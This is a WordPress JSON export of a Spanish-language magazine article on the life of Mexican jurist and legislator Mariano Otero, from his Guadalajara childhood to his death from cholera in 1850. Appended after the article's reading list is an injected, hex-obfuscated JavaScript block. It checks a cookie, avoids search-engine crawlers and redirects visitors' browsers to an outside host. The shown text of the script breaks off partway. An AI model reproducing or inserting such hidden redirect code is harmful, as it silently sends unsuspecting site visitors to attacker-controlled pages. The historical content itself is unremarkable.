﻿{"id":8580,"date":"2018-02-09T14:53:14","date_gmt":"2018-02-09T20:53:14","guid":{"rendered":"http:\/\/revistabicentenario.com.mx\/?p=8580"},"modified":"2024-07-17T11:54:15","modified_gmt":"2024-07-17T17:54:15","slug":"mariano-otero-una-corta-vida-ilustrada-en-la-lucha-por-la-igualdad-y-justicia","status":"publish","type":"post","link":"https:\/\/revistabicentenario.com.mx\/index.php\/archivos\/mariano-otero-una-corta-vida-ilustrada-en-la-lucha-por-la-igualdad-y-justicia\/","title":{"rendered":"Mariano Otero, una corta vida ilustrada en la lucha por la igualdad y justicia"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>Laura Su\u00e1rez de la Torre<\/strong><br \/>\n<strong>Instituto Mora<\/strong><\/p>\n<h4 style=\"text-align: justify;\"><span style=\"color: #800000;\">En revista <em>BiCentenario. El ayer y hoy de M\u00e9xico<\/em>, n\u00fam. 37.<\/span><\/h4>\n<h3 style=\"text-align: justify;\"><span style=\"color: #000000;\">Abogado y congresista, periodista y escritor, avezado lector y de un bagaje cultural muy amplio, Mariano Otero hizo de la legislaci\u00f3n una pasi\u00f3n y en ella coron\u00f3 a sus aspiraciones personales, especialmente en las discusiones y redacci\u00f3n de la constituci\u00f3n nacional. All\u00ed pudo plasmar su visi\u00f3n sobre el M\u00e9xico de entonces y el que ve\u00eda para el futuro: federalismo, igualdad, fin de los privilegios, unidad y soluci\u00f3n pac\u00edfica de los conflictos internos.<\/span><\/h3>\n<figure id=\"attachment_8581\" aria-describedby=\"caption-attachment-8581\" style=\"width: 456px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/02\/1.-Mariano-Otero-4545-456x640.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-8581\" src=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/02\/1.-Mariano-Otero-4545-456x640.jpg\" alt=\"1. Mariano Otero 4545 (456x640)\" width=\"456\" height=\"640\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/02\/1.-Mariano-Otero-4545-456x640.jpg 456w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/02\/1.-Mariano-Otero-4545-456x640-213x300.jpg 213w\" sizes=\"(max-width: 456px) 100vw, 456px\" \/><\/a><figcaption id=\"caption-attachment-8581\" class=\"wp-caption-text\">Mariano Otero, \u00f3leo sobre tela, s\/f, Galer\u00eda de Cancilleres, Edificio C de la Secretar\u00eda de Relaciones Exteriores.<\/figcaption><\/figure>\n<p style=\"text-align: justify;\"><strong>E<\/strong>n medio de una Nueva Espa\u00f1a que volv\u00eda a inquietarse en 1817 por el movimiento de independencia con la presencia del liberal espa\u00f1ol Xavier Mina y del insurgente Jos\u00e9 Antonio Torres, naci\u00f3 Mariano Otero el 4 de febrero, d\u00eda en el que se celebraba la fiesta de San Andr\u00e9s Corsino y San Gilberto Confesor. Ese a\u00f1o se anunciaban heladas que se prolongar\u00edan durante aquel mes en la bella ciudad de Guadalajara que para entonces ten\u00eda alrededor de 38 000 habitantes, muy pocos de ellos alfabetizados.<\/p>\n<p style=\"text-align: justify;\">Jos\u00e9 Mariano Fausto Andr\u00e9s, nombre que se le dio en el bautismo, ser\u00eda uno m\u00e1s de aquellos que pertenec\u00edan a la que hoy llamar\u00edamos clase media y formaba parte de una \u00e9lite ilustrada. Sus padres Ignacio Otero y Mar\u00eda Mestas, espa\u00f1oles criollos, le pudieron ofrecer una educaci\u00f3n esmerada, dada su posici\u00f3n. Ignacio era licenciado y doctor en Medicina, lo que le otorgaba cierto prestigio en la estratificada sociedad colonial.<\/p>\n<p style=\"text-align: justify;\">Era un tiempo de agitaci\u00f3n y de cambios, el de la independencia.<\/p>\n<p style=\"text-align: justify;\">De ah\u00ed que las sociedades patri\u00f3ticas y literarias comenzaron a florecer en la ciudad: la Sociedad Patri\u00f3tica de Nueva Galicia (1821), La Aurora Sociedad de la Nueva Galicia (1822) y La Sociedad de Amigos Deseosos de la Ilustraci\u00f3n y la Prensa a Desarrollarse.<\/p>\n<p style=\"text-align: justify;\">Mariano contaba apenas con cinco a\u00f1os cuando el peri\u00f3dico de la \u00faltima asociaci\u00f3n, La Estrella Polar de los Amigos Deseosos de la Ilustraci\u00f3n (1822), hac\u00eda esc\u00e1ndalo en Guadalajara dada la postura que tomaron los j\u00f3venes ilustrados redactores, disc\u00edpulos de Francisco Severo Maldonado. Tambi\u00e9n por entonces Prisciliano S\u00e1nchez daba a conocer el Pacto Federal de An\u00e1huac (1823) que defend\u00eda ese sistema de organizaci\u00f3n pol\u00edtica. Fue el mismo S\u00e1nchez quien cre\u00f3 el Instituto del Estado de Jalisco en el que Otero se educar\u00eda y abrevar\u00eda principios de derecho natural, pol\u00edtico y civil, y donde se familiariz\u00f3 con la econom\u00eda pol\u00edtica, la estad\u00edstica y la historia, seg\u00fan nos refiere Jes\u00fas Reyes Heroles.<\/p>\n<p style=\"text-align: justify;\">Para cuando ten\u00eda siete a\u00f1os, la primera Constituci\u00f3n del estado de Jalisco de 1824 se\u00f1alaba como ciudadanos jaliscienses a aquellos que, adem\u00e1s de haber nacido o estar avecindados en el estado, deb\u00edan \u201ccontar con 21 a\u00f1os, no tener deudas p\u00fablicas, poseer un empleo, oficio o modo de vivir conocido, no haber sido procesado criminalmente y saber leer y escribir\u201d, requisitos indispensables para poder llegar a ser votados en cargos p\u00fablicos. Esos ciudadanos ser\u00edan quienes utilizar\u00edan la prensa, como se\u00f1ala Celia del Palacio, \u201cpara consolidar una facci\u00f3n o modificarla, a quienes se pretend\u00eda convencer\u201d. Su futuro como ciudadano parec\u00eda estar ya dibujado.<\/p>\n<p style=\"text-align: justify;\">Mariano creci\u00f3 en medio del reacomodo pol\u00edtico que signific\u00f3 la vida independiente: un ambiente agitado por las cuestiones p\u00fablicas y las aspiraciones de cambio que marcaban al pa\u00eds y a su ciudad natal. No obstante, puede decirse que sus primeros a\u00f1os transcurrieron en la Guadalajara tambi\u00e9n tradicional que continuaba celebrando las festividades religiosas como la Semana Santa y que sus ojos de ni\u00f1o seguramente se asombraban frente a las procesiones que se hac\u00edan para recordar la pasi\u00f3n y muerte de Jesucristo, pasos que recorr\u00edan las principales calles de la ciudad y eran organizados por las comunidades religiosas y los miembros de las diferentes hermandades quienes hac\u00edan penitencias, pr\u00e1cticas devotas y ejercicios piadosos, como nos recuerda Juan B. Iguiniz en sus <em>Memorias tapat<\/em><em>\u00edas<\/em>.<\/p>\n<p style=\"text-align: justify;\">El silencio del Viernes Santo que inundaba las calles en se\u00f1al de respeto debi\u00f3 llamar su atenci\u00f3n, as\u00ed como la algarab\u00eda que hab\u00eda reinado el d\u00eda anterior con los puestos de aguas frescas que se instalaban por doquier, donde los \u201camigos de Baco, [sol\u00edan] tomar un buen chorro de tequila pidiendo \u2018un torito\u2019 en vez de un vaso de agua\u201d. Y qu\u00e9 decir del s\u00e1bado de gloria para un muchacho que con gran expectaci\u00f3n esperaba ansioso \u201cel repique general de todos los templos\u201d para quemar los judas que se vend\u00edan desde tiempo atr\u00e1s bajo el grito de \u201cAqu\u00ed est\u00e1n las judas chiquitas y caprichudas\u2026 A comprar las judas prietitas y melenudas.\u201d<\/p>\n<p style=\"text-align: justify;\">Puede decirse que Mariano Otero creci\u00f3 en ese ambiente piadoso y liberal, tradicional y moderno, que le marcar\u00eda en su formaci\u00f3n personal y en su trayectoria pol\u00edtica. De all\u00ed que entendiera que estos mundos deb\u00edan reconciliarse y por ello no renunci\u00f3 a su fe cat\u00f3lica para instaurar nuevos derroteros.<\/p>\n<h3 style=\"text-align: center;\">Formaci\u00f3n intelectual<\/h3>\n<p style=\"text-align: justify;\">Su posici\u00f3n social le permitir\u00eda forjar un futuro. Muy pronto dio indicios de su inteligencia y a los primeros estudios siguieron los profesionales. A los 18 a\u00f1os obtuvo el grado de bachiller en Derecho. Conoci\u00f3 del oficio de abogado y se instruy\u00f3 en la teor\u00eda jur\u00eddica. Se ejercit\u00f3 en la pr\u00e1ctica profesional y se embebi\u00f3 en el quehacer que esta le requer\u00eda. Hizo del Derecho una forma para vivir y, al mismo tiempo, una manera de transformar la vida.<\/p>\n<p style=\"text-align: justify;\">A los 23 a\u00f1os contrajo matrimonio con Andrea Arce y tuvo 9 hijos \u2013Ignacio, Crispiniano, Carlos, Mariana, Sixto, Mar\u00eda, Miguel, Andrea e Isabel\u2013, de los cuales tres murieron pronto. Para \u00e9l, su familia fue muy importante y la am\u00f3 profundamente, como deja ver en las cartas que enviaba a su esposa y en las que expresaba el cari\u00f1o y el amor que profesaba por ella y sus peque\u00f1os. Uno de sus hijos, Miguel, llegar\u00eda a ser un destacado m\u00e9dico en San Luis Potos\u00ed.<\/p>\n<p style=\"text-align: justify;\">Con apenas 24 a\u00f1os ofreci\u00f3 el discurso c\u00edvico para conmemorar el 16 de septiembre, fecha escogida para recordar la gesta insurgente. Lo inici\u00f3 con la atractiva frase del gran rom\u00e1ntico franc\u00e9s Fran\u00e7ois-Ren\u00e9 Chateaubriand que dec\u00eda: \u201cEl m\u00e1s preciado de los tesoros que Am\u00e9rica encerraba en su seno era la libertad\u201d, frase que recog\u00eda del <em>Voyage en Am\u00e9rique<\/em>, en alusi\u00f3n a la grandeza de Estados Unidos, pues Otero consideraba que la libertad era base fundamental para el progreso que ansiaba para M\u00e9xico. De all\u00ed que se esforzara por hacer de ella un valor a conquistar, dado que la trayectoria de la Nueva Espa\u00f1a hab\u00eda sido sin su goce.<\/p>\n<p style=\"text-align: justify;\">Mariano Otero fue, como muchos de los hombres p\u00fablicos de su \u00e9poca, un lector incansable que nos permite conocer las p\u00e1ginas recorridas de aquellos libros que le prodigaron ense\u00f1anzas que \u00e9l transformar\u00eda en esperanzas, al tratar de instaurar pensamientos e ideas de aquellos escritores que ley\u00f3 por obligaci\u00f3n escolar y por gusto ilustrado. Podemos imaginarlo sentado en el sal\u00f3n de su casa con un libro entre las manos, recogiendo en notas todos aquellos pasajes que llamaban su atenci\u00f3n o le propon\u00edan cambios para el pa\u00eds. Seguramente era un asiduo visitante de las librer\u00edas de la capital tapat\u00eda y de la ciudad de M\u00e9xico \u2013la de Galv\u00e1n, la Mexicana, la de Abadiano, o la de Recio, y a las alacenas de Antonio y Crist\u00f3bal de la Torre, entre otras\u2013, y le\u00eda los anuncios de las novedades editoriales en la prensa.<\/p>\n<p style=\"text-align: justify;\">Su bagaje cultural fue muy amplio. Lector de escritores del momento y de los cl\u00e1sicos, se dej\u00f3 entusiasmar por las propuestas de Voltaire y D\u00b4Alambert; lo sedujeron las p\u00e1ginas de Montesquieu, Rousseau y, por su importancia, el <em>Pr\u00edncipe<\/em> de Maquiavelo; y le atrajeron e inspiraron las lecturas de Constant y Sismondi y Tocqueville. Fue adem\u00e1s un ferviente admirador de los escritos de Madame de Sta\u00ebl. Ley\u00f3 con atenci\u00f3n a Hegel, recogi\u00f3 las ense\u00f1anzas de Burke y Bentham\u2026, de estos y muchos m\u00e1s se nutri\u00f3 intelectualmente. Las Casas, Humboldt, Mora y Zavala le adentraron en el pasado y presente de M\u00e9xico; conoci\u00f3 muy de cerca las propuestas que hicieron sus coterr\u00e1neos Prisciliano S\u00e1nchez y Crispiniano del Castillo. En los libros encontr\u00f3 inspiraci\u00f3n para sus planteamientos pol\u00edticos, sociales y econ\u00f3micos, pues no hay que olvidar que era un \u201chombre de acci\u00f3n\u201d.<\/p>\n<p style=\"text-align: justify;\">En ellas descubri\u00f3 ideas que le servir\u00edan para imaginar un nuevo M\u00e9xico, un M\u00e9xico con progreso y orden, un M\u00e9xico que reconociera a la clase media y basase en la educaci\u00f3n su engrandecimiento.<\/p>\n<p style=\"text-align: justify;\">Escribi\u00f3 como muchos de sus contempor\u00e1neos peque\u00f1as biograf\u00edas y algunos ensayos literarios que contribuir\u00edan a la forja de una historia y literatura nacionales. Era como muchos de los que participaban en la vida nacional, un escritor que se iba haciendo en el tiempo, aunque su verdadera pasi\u00f3n fue la legislaci\u00f3n y hacia ella centr\u00f3 su actividad y su pluma. La actividad pol\u00edtica le permiti\u00f3 coronar sus aspiraciones.<\/p>\n<h3 style=\"text-align: center;\">Legislador y ensayista<\/h3>\n<p style=\"text-align: justify;\">En 1841 fue nombrado delegado a la junta de representantes de los departamentos del estado de Jalisco y a partir de ese a\u00f1o y hasta su muerte, se concentrar\u00eda en el quehacer p\u00fablico y en la reflexi\u00f3n en torno a la realidad del pa\u00eds. Un a\u00f1o m\u00e1s tarde, a fines de mayo, se desplaz\u00f3, ya como diputado, a la ciudad de M\u00e9xico, la capital pol\u00edtica y cultural del pa\u00eds. Una vez instalado, se desempe\u00f1\u00f3 en el Congreso nacional en donde la tarea principal encomendada a los representantes fue la elaboraci\u00f3n de un proyecto de Constituci\u00f3n, tarea que le permitir\u00eda darse a conocer en el \u00e1mbito nacional a trav\u00e9s de su participaci\u00f3n activa en la asamblea constituyente, tarea que no fue f\u00e1cil.<\/p>\n<p style=\"text-align: justify;\">Dedicaba parte de su tiempo a examinar a fondo a la sociedad mexicana con el fin de conocerla y, a partir de su propia fisonom\u00eda y circunstancias, ofrecer soluciones que la sacaran del estado cr\u00edtico en que se encontraba. Su <em>Ensayo sobre el verdadero estado de la cuesti\u00f3n social y pol\u00edtica que se agita en la rep\u00fablica mexicana<\/em>, finalizado el 1 de junio de 1842, y publicado por Ignacio Cumplido ese mismo a\u00f1o, es un profundo an\u00e1lisis de la realidad que le rodeaba, resultado del examen minucioso que realiz\u00f3 de la problem\u00e1tica de M\u00e9xico. Sus p\u00e1ginas revelan el desasosiego pol\u00edtico en los primeros a\u00f1os de la d\u00e9cada de 1840 y la falta de un conocimiento de las potencialidades del pa\u00eds.<\/p>\n<p style=\"text-align: justify;\">En \u00e9l se queja amargamente de la inexistencia de una estad\u00edstica y por lo mismo de un inventario de la naci\u00f3n que pudiera llevar a superar el retraso del pa\u00eds, as\u00ed como de la propiedad, de los capitales estancados e improductivos del clero. Centra su mirada en la importancia de la clase media porque ella representaba la mayor suma de la riqueza, y en la que se hallaban todas las profesiones que elevan la inteligencia. Deb\u00eda naturalmente venir a ser el principal elemento de la sociedad, que encontraba en ella el verdadero germen del progreso y el ingrediente pol\u00edtico m\u00e1s natural y favorable que pudiera desearse para la futura Constituci\u00f3n de la Rep\u00fablica.<\/p>\n<p style=\"text-align: justify;\">Los trabajos legislativos comenzaron a finales de junio de 1842 y el 30 del mes siguiente, junto con Mariano Riva Palacio, Ignacio Cumplido, Juan Manuel Gonz\u00e1lez Ure\u00f1a, Manuel Mar\u00eda Gaxiola, Francisco Elorriaga, Luis de la Rosa y otros cuatro diputados m\u00e1s, presentaron una proposici\u00f3n que, si bien no fue aceptada, revela el inter\u00e9s por cambiar las viejas pr\u00e1cticas, pues sus autores consideraron indispensable, para mantener un cuerpo legislativo independiente, \u201cno recibir del Gobierno, en el tiempo de su misi\u00f3n y un a\u00f1o despu\u00e9s, ning\u00fan empleo, misi\u00f3n, gracia de cualquiera que sea, a excepci\u00f3n de las que les toquen por rigurosa escala\u201d, como se\u00f1ala Juan A. Mateos. El tiempo lleg\u00f3 para lo que ser\u00eda el meollo del Congreso: el debate sobre la organizaci\u00f3n nacional. Otero form\u00f3 parte de la comisi\u00f3n encargada de redactar el proyecto de Constituci\u00f3n Pol\u00edtica Mexicana.<\/p>\n<p style=\"text-align: justify;\">Siendo para Otero una convicci\u00f3n arraigada y profunda la de que M\u00e9xico no podr\u00eda constituirse sino bajo el sistema federal, franca y expl\u00edcitamente adoptado, se separ\u00f3 de la mayor\u00eda de la comisi\u00f3n, formando voto particular en compa\u00f1\u00eda de los Sres. Mu\u00f1oz Ledo y Espinosa de los Monteros\u2026<\/p>\n<p style=\"text-align: justify;\">All\u00ed mostr\u00f3 su inter\u00e9s por volver a instaurar el federalismo y por otorgar a las clases medias la posibilidad de conducir el pa\u00eds.<\/p>\n<p style=\"text-align: justify;\">El Congreso le revelar\u00eda las diferencias de pensamiento y ambiciones de poder que reinaban, pero tambi\u00e9n a otros que, como \u00e9l, buscaban el porvenir del pa\u00eds a partir de la unidad nacional y la renovaci\u00f3n de las instituciones. Era partidario de la transformaci\u00f3n por v\u00eda pac\u00edfica. Cre\u00eda firmemente en la perfectibilidad del ser humano y la igualdad para todos. De all\u00ed que estuviese en contra de los privilegios de las corporaciones (clero, comerciantes, militares).<\/p>\n<p style=\"text-align: justify;\">Su trayectoria en la vida p\u00fablica estuvo llena de sinsabores. Se le acus\u00f3 de conspirar, junto con Mariano Riva Palacio, Jos\u00e9 Mar\u00eda Lafragua y Manuel G\u00f3mez Pedraza, en favor de una revoluci\u00f3n que encabezar\u00eda Juan \u00c1lvarez en contra de Santa Anna. Esta acusaci\u00f3n lo llev\u00f3 en 1843 a la incomunicaci\u00f3n en el convento de San Agust\u00edn por alrededor de 50 d\u00edas. V\u00edctima de la injusticia, Otero se mostr\u00f3 una vez m\u00e1s partidario de un r\u00e9gimen legal, de ah\u00ed que su preocupaci\u00f3n se orientara a defender las garant\u00edas y derechos de los ciudadanos a fin de que estos no fueran reos de las injusticias y abusos de los funcionarios p\u00fablicos.<\/p>\n<p style=\"text-align: justify;\">Particip\u00f3 en el Congreso de 1847 y su presencia fue patente en el C\u00f3digo Fundamental de los Estados Unidos Mexicanos y Acta de Reformas de la Constituci\u00f3n en 1847, que devolvi\u00f3 el car\u00e1cter federal a la rep\u00fablica. Fue en el seno de ese Congreso en el que ofreci\u00f3 su famoso \u201cvoto particular\u201d, que es nada menos que el antecedente del Juicio de Amparo.<\/p>\n<p style=\"text-align: justify;\">En la ciudad de M\u00e9xico coincidir\u00eda con otros jaliscienses como el importante impresor Ignacio Cumplido y otros provincianos m\u00e1s, originarios de diversos lugares del pa\u00eds que al igual que \u00e9l, hac\u00edan carrera pol\u00edtica. Se relacion\u00f3 y coincidi\u00f3 pol\u00edticamente con Manuel G\u00f3mez Pedraza, con quien llegar\u00eda a trabar gran amistad, y con Ignacio Comonfort. Particip\u00f3 en el ambiente cultural en conjunci\u00f3n con el conde de la Cortina, \u00c1ngel Calder\u00f3n de la Barca, Andr\u00e9s Quintana Roo, Luis de la Rosa, Manuel Payno, Guillermo Prieto, Jos\u00e9 Mar\u00eda Lafragua, Francisco Zarco y Eulalio Ortega, entre otros; ocup\u00f3 la vicepresidencia del Ateneo Mexicano en 1843 y qued\u00f3 al frente de la revista del mismo nombre en la secci\u00f3n dedicada a la legislaci\u00f3n. Perteneci\u00f3 tambi\u00e9n a la Academia de Letr\u00e1n.<\/p>\n<p style=\"text-align: justify;\">As\u00ed como asist\u00eda al Congreso y se daba tiempo para las reuniones del Ateneo en el Colegio de Santa Mar\u00eda de Todos los Santos, su casa convocaba a la elite culta y era un sitio obligado para el intercambio de ideas y lecturas. \u201cLos tertulianos de la casa de Otero ten\u00edamos una vez a la semana una comida en los altos del Caf\u00e9 de Veroly, en que hab\u00eda una fonda perfectamente servida\u201d, menciona Prieto. Y no era extra\u00f1o que fuese en ese caf\u00e9 de fama reconocida y ubicado junto al Gran Teatro Nacional, pues para entonces los caf\u00e9s eran lugares para reunirse a platicar, leer y comentar las lecturas de peri\u00f3dico, hablar de pol\u00edtica y hasta conspirar, pero tambi\u00e9n era un espacio donde se pod\u00eda jugar tresillo, ajedrez y billar, beber una taza de caf\u00e9 o chocolate o tomar un ponche, nieves y refrigerios.<\/p>\n<p style=\"text-align: justify;\">Junto con el guanajuatense Juan Bautista Morales y su paisano Ignacio Cumplido dise\u00f1\u00f3 un nuevo \u00f3rgano pol\u00edtico: <em>El Siglo Diez y Nueve<\/em>, peri\u00f3dico que devendr\u00eda en emblem\u00e1tico de la lucha de los liberales moderados, grupo con el que nuestro personaje se identific\u00f3. Un p\u00e1rrafo de los editores en el primer n\u00famero que vio a la luz el 8 de octubre de 1841 resume el inter\u00e9s del nuevo diario frente al M\u00e9xico que ve\u00eda inestable, con pol\u00edticos ambiciosos, grupos enfrentados, en fin, desunido por las distintas corrientes pol\u00edticas y sumido en la pobreza:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Ya que el siglo XIX ha presenciado nuestras amarguras y miserias; ya que ha sido testigo de nuestras frecuentes disensiones, que lo sea tambi\u00e9n de la reconciliaci\u00f3n general, se\u00f1al\u00e1ndose en lo sucesivo desde fines del a\u00f1o de 1841, la quietud y el engrandecimiento de la naci\u00f3n mexicana.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Para contribuir con nuestros d\u00e9biles esfuerzos a tan noble designio nos hemos propuesto publicar el presente diario, cuyo objeto m\u00e1s esencial ser\u00e1 el de calmar las pasiones agitadas con tantos a\u00f1os de inquietudes, promover la uni\u00f3n de todos los mexicanos e indicar lo que creamos conveniente a nuestra regeneraci\u00f3n pol\u00edtica.<\/p>\n<p style=\"text-align: justify;\">En estas palabras, quiz\u00e1 escritas por Otero, podemos condensar algunas de sus aspiraciones para el pa\u00eds que anhelaba: federal, con libertad, igualdad y justicia; un pa\u00eds de leyes, unido. En el peri\u00f3dico encontr\u00f3 el medio id\u00f3neo para dar a conocer su pensamiento. Si bien los editoriales y art\u00edculos no est\u00e1n firmados, sabemos que s\u00ed colabor\u00f3 en ellos, como refiere el mismo Prieto en las <em>Memorias de mis tiempos<\/em>.<\/p>\n<p style=\"text-align: justify;\">Como muchos de sus contempor\u00e1neos, Otero encontr\u00f3 en el periodismo una v\u00eda para dar a conocer su postura pol\u00edtica y en el Congreso el foro para presentar sus anhelos de cambio y defender sus principios. Cuando M\u00e9xico perdi\u00f3 la guerra frente a Estados Unidos y en el Congreso se discuti\u00f3 la necesidad de la paz o la continuaci\u00f3n de la lucha, Otero en su calidad de senador vot\u00f3 en contra de la firma de un tratado, en contra de su grupo, el de los moderados. Lo hizo pensando en que la paz convenida en Guadalupe Hidalgo no pod\u00eda comprometer parte del territorio mexicano. Pese a su oposici\u00f3n y la de otros congresistas, la paz se firm\u00f3 y M\u00e9xico, como consecuencia, perdi\u00f3 gran parte de los territorios norte\u00f1os.<\/p>\n<p style=\"text-align: justify;\">Terminada la guerra, nuestro personaje fue nombrado, por un corto periodo, secretario de Relaciones Interiores y Exteriores del presidente Jos\u00e9 Joaqu\u00edn de Herrera, en un momento muy cr\u00edtico para el pa\u00eds, cuando la derrota marcaba el \u00e1nimo general y la reconciliaci\u00f3n entre los mexicanos se hac\u00eda indispensable. Le correspondi\u00f3 iniciar el proceso de desocupaci\u00f3n de las tropas estadounidenses de la aduana de Veracruz y ocuparse de la problem\u00e1tica de los mexicanos que se quedaron en los territorios comprendidos en el tratado de paz.<\/p>\n<p style=\"text-align: justify;\">Otero volvi\u00f3 al Senado en 1849 y lo presidi\u00f3. All\u00ed mostr\u00f3 su liderazgo y sus inquietudes al discutir la Ley Constitucional de Garant\u00edas Individuales y la Ley Constitucional para el Nombramiento de Ministros de la Suprema Corte de Justicia. A la par form\u00f3 parte de la Junta Directiva de C\u00e1rceles.<\/p>\n<h3 style=\"text-align: center;\">Muerte prematura<\/h3>\n<p style=\"text-align: justify;\">Con apenas 33 a\u00f1os era ya un personaje muy reconocido; ten\u00eda una trayectoria muy destacada, hab\u00eda sentado las bases para promover cambios en la vida pol\u00edtica y contribuido a enriquecer la cultura nacional. Corr\u00eda el a\u00f1o de 1850, a\u00f1o en el que el c\u00f3lera cundi\u00f3 entre la poblaci\u00f3n. Cada d\u00eda se hablaba de nuevos muertos, cada vez la parca rondaba m\u00e1s cercana. El temor se apoderaba de todos. El viernes 31 de mayo, Mariano Otero sinti\u00f3 los s\u00edntomas. Sab\u00eda que su estado era grave pues conoc\u00eda los estragos que la enfermedad hab\u00eda dejado en la poblaci\u00f3n en 1833 y los de la tifoidea en 1848 y los funestos descalabros sociales y pol\u00edticos que hab\u00eda acarreado. Seguramente estaba en su casa el librito pr\u00e1ctico del doctor en medicina de la facultad de Par\u00eds, Auguste-Marie-Denis Guilbert, y conoc\u00edan el desenlace. Sus familiares le dar\u00edan a beber el licor de Zippermaun y le procurar\u00edan los \u201cpolvos salinos del doctor Monta\u00f1a\u201d que, se dec\u00eda, ten\u00edan poderes curativos\u2026 Todo fue en vano.<\/p>\n<p style=\"text-align: justify;\">Pidi\u00f3 que llamaran al sacerdote para recibir los santos \u00f3leos y morir como un cat\u00f3lico. Dict\u00f3 su testamento en donde dej\u00f3 todo arreglado en beneficio de su amada esposa y sus queridos hijos. Declar\u00f3 cu\u00e1les eran sus bienes: \u201cuna finca sita en la Calle de Tumbaburros de esta Ciudad y [\u2026] algunas alhajas, muebles, dinero y cr\u00e9ditos que por menor contaran en un papel titulado\u201d. Se\u00f1al\u00f3 su voluntad de que su \u201ccad\u00e1ver descans[ara] junto al de mis hijos en el cementerio de San Fernando de esta Ciudad y ruego que mi entierro se haga sin pompa alguna; dici\u00e9ndose en seguida 25 misas por mi alma, la de mis padres y hermanos.\u201d A la ma\u00f1ana siguiente una peque\u00f1a nota en <em>El Siglo Diez y Nueve<\/em> comunicaba su muerte:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Con mano temblorosa y el coraz\u00f3n desgarrado por la pena, damos la funesta noticia de que a la una y media de la ma\u00f1ana de hoy ha fallecido el Se\u00f1or senador y consejero Lic. D. Mariano Otero. Cuando haya calmado el profundo dolor que nos agobia en este momento, dedicaremos un extenso art\u00edculo a la biograf\u00eda del eminente ciudadano de la rep\u00fablica y de cuya falta jam\u00e1s nos consolaremos sus amigos. Sus funerales p\u00fablicos tendr\u00e1n lugar ma\u00f1ana a las nueve en la iglesia de San Fernando.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">El santoral marcaba ese i como d\u00eda de Santa P\u00e1nfilo, era el primero del mes de junio, un mes de mucho calor y con aguaceros tempestuosos.<\/p>\n<p style=\"text-align: justify;\">D\u00edas m\u00e1s tarde, el 8 de junio, se publicaba en <em>El Siglo Diez y Nueve<\/em> que la Academia de Letr\u00e1n, \u201cdeseosa de honrar la memoria de uno de sus m\u00e1s ilustres miembros, el Sr. Mariano Otero, ha determinado que se escriba su biograf\u00eda, y encomendado este trabajo al Sr. Guillermo Prieto\u201d. La biograf\u00eda, sin embargo, nunca se escribi\u00f3. El ii, <em>La Voz de Alianza<\/em> de Jalisco, que reci\u00e9n iniciaba su vida, publicaba un homenaje a su persona. El 22, en Guadalajara, la sociedad literaria la \u201cFalange de Estudio\u201d, realiz\u00f3 una solemnidad f\u00fanebre en su honor.<\/p>\n<p style=\"text-align: justify;\">La vieja Nueva Espa\u00f1a que vio nacer a Mariano Otero, hab\u00eda dejado de serlo y dado lugar a un nuevo pa\u00eds: M\u00e9xico, que sent\u00eda profundamente la muerte de uno de sus hijos. La labor de Otero en el Congreso con sus postulados y en la prensa con sus planteamientos, contribuy\u00f3 a edificarlo. Mor\u00eda justo en el momento en que m\u00e1s se requer\u00eda de su lucidez e inteligencia para sacar adelante al pa\u00eds vencido y dividido. Su desaparici\u00f3n fue sentida por amigos y enemigos quienes reconocieron en \u00e9l a un mexicano que luch\u00f3 por hacer de M\u00e9xico un pa\u00eds de leyes, igualdad y justicia.<\/p>\n<h3><strong>PARA SABER M\u00c1S:<\/strong><\/h3>\n<ul>\n<li><em>El Siglo Diez y Nueve<\/em>, 26 de junio de 1850, <a href=\"http:\/\/www.hndm.unam.mx\">http:\/\/www.hndm.unam.mx<\/a><\/li>\n<li>Testamento de Mariano Otero, <a href=\"https:\/\/goo.gl\/Ns4bB2\">https:\/\/goo.gl\/Ns4bB2<\/a><\/li>\n<li>Vargas \u00c1valos, Pedro, <em>Semblanza de Mariano Otero<\/em>, 2\u00aa. ed., Zapopan, Jalisco, El Colegio de Jalisco, 2a. ed. 2017.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><script type=\"text\/javascript\">\/\/ < ![CDATA[\n\/\/ < ![CDATA[\n\/\/ < ![CDATA[ var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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El ayer y hoy de M\u00e9xico, n\u00fam. 37. Abogado y congresista, periodista y escritor, avezado lector y de un bagaje cultural muy amplio, Mariano Otero hizo de la legislaci\u00f3n una pasi\u00f3n y en ella coron\u00f3 a sus aspiraciones personales, especialmente en las discusiones y redacci\u00f3n de la 